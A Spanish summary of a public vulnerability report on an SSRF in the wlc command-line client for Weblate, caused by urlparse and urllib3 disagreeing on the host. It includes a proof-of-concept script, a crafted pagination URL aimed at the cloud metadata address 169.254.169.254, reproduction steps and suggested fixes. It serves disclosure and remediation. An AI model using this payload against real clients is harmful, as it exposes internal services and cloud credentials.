Reports
ALTA[SSRF]#3887969

SSRF en el cliente wlc de Weblate por discrepancia entre analizadores de URL en normalize_request_url

wlc valida el origen de las URL con urlparse, pero requests las resuelve con urllib3. Una barra invertida antes de la @ hace que ambos vean hosts distintos, y un servidor malicioso puede redirigir las peticiones del cliente a cualquier host.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

wlc es el cliente de línea de comandos de Weblate. Para impedir que un servidor le haga seguir URL de otros dominios, antes de cada petición comprueba que la URL de destino tiene el mismo origen (esquema, host, puerto) que la API configurada. El problema es que esa comprobación y la petición real no usan el mismo analizador de URL:

  • La validación (normalize_request_url y get_origin en wlc/client.py) usa urllib.parse.urlparse, de la biblioteca estándar de Python.
  • La conexión la abre requests, que por dentro usa el analizador de urllib3.

Ambos interpretan de forma distinta una barra invertida (\) colocada justo antes de una @. Para urlparse, todo lo anterior a la @ son credenciales de usuario y el host es lo que va detrás. Para urllib3, la barra invertida marca el inicio de la ruta, así que el host es lo que va antes. Con una URL construida así, la validación ve el servidor legítimo mientras la conexión va a un host que elige el atacante.

get_origin calcula la tupla que se compara:

@classmethod
def get_origin(cls, url: ParseResult) -> Origin:
    """Return normalized origin tuple for a parsed URL."""
    return (url.scheme, url.hostname, cls.get_effective_port(url))

La vía de entrada es list_factory, que recorre los listados paginados siguiendo el campo next que devuelve el servidor sin sanearlo más allá de esa comprobación de origen:

def list_factory(
    self,
    path: str,
    parser: type[LazyObjectT],
    params: RequestPayload | None = None,
) -> Iterator[LazyObjectT]:
    """Listing object wrapper."""
    while path is not None:
        data = self.get(path, params=params)
        params = None
        if isinstance(data, list):
            for item in data:
                yield parser(weblate=self, **item)
            break
        for item in data["results"]:
            yield parser(weblate=self, **item)
        path = data["next"]

self.get() llama a self.request(), que pasa la ruta por normalize_request_url antes de enviarla con requests:

def normalize_request_url(self, path: str) -> str:
    """Resolve a request path and reject cross-origin targets."""
    url = urlparse(urljoin(self.url, path))
    if self.get_origin(url) != self.api_origin:
        raise WeblateException(
            "Server returned a URL outside the configured API origin."
        )
    return url.geturl()

Con la URL http://169.254.169.254\@127.0.0.1:8000/latest/meta-data/ cada analizador llega a una conclusión distinta:

| Analizador | Para qué se usa | Host resultante | |---|---|---| | urllib.parse.urlparse | Validación del origen | 127.0.0.1 | | urllib3.util.parse_url (vía requests) | Conexión real | 169.254.169.254 |

Comparar también el puerto no evita el bypass: urlparse toma host y puerto del fragmento posterior a la barra invertida, así que el origen calculado (http, 127.0.0.1, 8000) coincide exactamente con el de la API configurada y la comprobación se supera.

El investigador revisó el commit d0ddc3d2c16b727d4f8ec2b576d0b7d209a53770 del repositorio WeblateOrg/wlc y propuso una puntuación CVSS 3.1 de 9.3 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). El programa la clasificó como severidad alta. El reporte se envió el 24 de julio de 2026 y se hizo público el 2 de septiembre de 2026.

Pasos de reproducción

Comprobación de la discrepancia entre analizadores (verificada por el investigador):

  1. Ejecuta este script, que simula lo que ocurre con una URL next maliciosa respecto a una API en http://127.0.0.1:8000/api/:
from urllib.parse import urlparse, urljoin
from urllib3.util import parse_url

BASE_URL = "http://127.0.0.1:8000/api/"
MALICIOUS_NEXT = "http://169.254.169.254\\@127.0.0.1:8000/latest/meta-data/"

joined = urljoin(BASE_URL, MALICIOUS_NEXT)

# What normalize_request_url's validation sees:
parsed = urlparse(joined)
print("urlparse hostname (validation):", parsed.hostname)   # 127.0.0.1

# What urllib3 / requests actually connects to:
u3 = parse_url(joined)
print("urllib3 host (actual request):", u3.host)             # 169.254.169.254
  1. Comprueba que la validación obtiene 127.0.0.1 y urllib3 obtiene 169.254.169.254.
  2. Para confirmarlo en la capa de requests, construye un PreparedRequest con esa misma URL e inspecciona el destino del pool de conexiones. El investigador obtuvo:
prepared url:          http://169.254.169.254/%[email protected]:8000/...
connection pool host:  169.254.169.254   port: 80

Es decir, la conexión TCP se abre contra el host del atacante y no contra el que pasó la validación.

Reproducción de extremo a extremo (propuesta por el investigador, pero no ejecutada en el reporte):

  1. Levanta un servidor que imite la API de Weblate y que, en un listado paginado, devuelva en next el valor http://169.254.169.254\@127.0.0.1:8000/latest/meta-data/ (o cualquier otro destino fuera del origen).
  2. Apunta wlc a ese servidor:
wlc --url http://<mock-server>/api/ list-projects
  1. Observa con una captura de red, o con un listener en el destino, que wlc envía la petición al host elegido por el atacante y no al servidor simulado.

Impacto

Quien controle o haya comprometido un servidor Weblate, o consiga que la víctima configure wlc contra un servidor que no es de fiar, puede hacer que el cliente envíe peticiones HTTP a cualquier host al que llegue la máquina donde se ejecuta wlc. Entre ellos:

  • Servicios accesibles solo desde la red interna.
  • Los endpoints de metadatos de instancias en la nube (por ejemplo, IMDS de AWS en 169.254.169.254, o los equivalentes de GCP y Azure), que pueden exponer credenciales IAM o datos de la instancia.
  • Cualquier otro host alcanzable desde esa máquina.

Con esto se anula precisamente la validación de origen que wlc implementa para evitar este tipo de ataque. Según el investigador, la discrepancia no depende de la configuración usada en la prueba y afecta tanto a HTTP como a HTTPS.

Remediación

El reporte figura como resuelto, pero no explica qué cambio se aplicó. El investigador propuso:

  1. Validar con el mismo analizador que hace la petición: usar urllib3.util.parse_url para comprobar el origen, o exigir que ambos analizadores coincidan en el host antes de seguir:
from urllib3.util import parse_url

@staticmethod
def _validate_url_parser_consistency(url: ParseResult) -> None:
    """Guard against URL parser differentials between stdlib and urllib3."""
    u3_url = parse_url(url.geturl())
    if u3_url.host != url.hostname:
        raise WeblateException(
            "Server returned a URL that resolves differently across parsers."
        )
  1. Rechazar peticiones a rangos privados, internos o link-local (incluido 169.254.169.254), salvo que la propia URL de la API configurada apunte ahí.
  2. Denegar por defecto: permitir solo el nombre de host exacto de la API configurada en lugar de comparar tuplas de origen, algo más resistente a ambigüedades entre analizadores.